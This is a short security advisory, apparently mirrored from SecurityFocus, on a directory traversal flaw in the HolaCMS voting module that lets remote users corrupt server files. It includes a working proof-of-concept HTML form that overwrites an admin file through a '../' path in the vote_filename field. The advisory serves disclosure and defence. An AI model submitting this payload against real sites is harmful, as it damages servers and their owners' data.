HolaCMS 1.2.x/1.4.x Voting Module Directory Traversal Remote File Corruption Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

HCM 1.2.x/1.4.x Voting Module Directory Traversal Remote File Corruption Vulnerabilit


                                                source: http://www.securityfocus.com/bid/12799/info

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server.

This issue is similar to the vulnerability described in BID 12789 (HolaCMS Voting Module Remote File Corruption Vulnerability). It is reported that HolaCMS 1.4.9-1, which was released to address the issue in BID 12789 is still vulnerable to a variant of that issue.

Specifically, an attacker can bypass the fix introduced in HolaCMS 1.4.9-1 by including directory traversal sequences in the path to a target file.

HolaCMS 1.4.9-1 and prior versions are affected by this issue.

&#60;form action=&#34;http://www.example.com/[site-with-vote].php?vote=1&#34; method=&#34;POST&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;vote_filename&#34; value=&#34;holaDB/votes/../../admin/multiuser/multiuser.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;result&#34; value=&#34;0&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Stimme abgeben&#34; name=&#34;button&#34;&#62;
&#60;/form&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1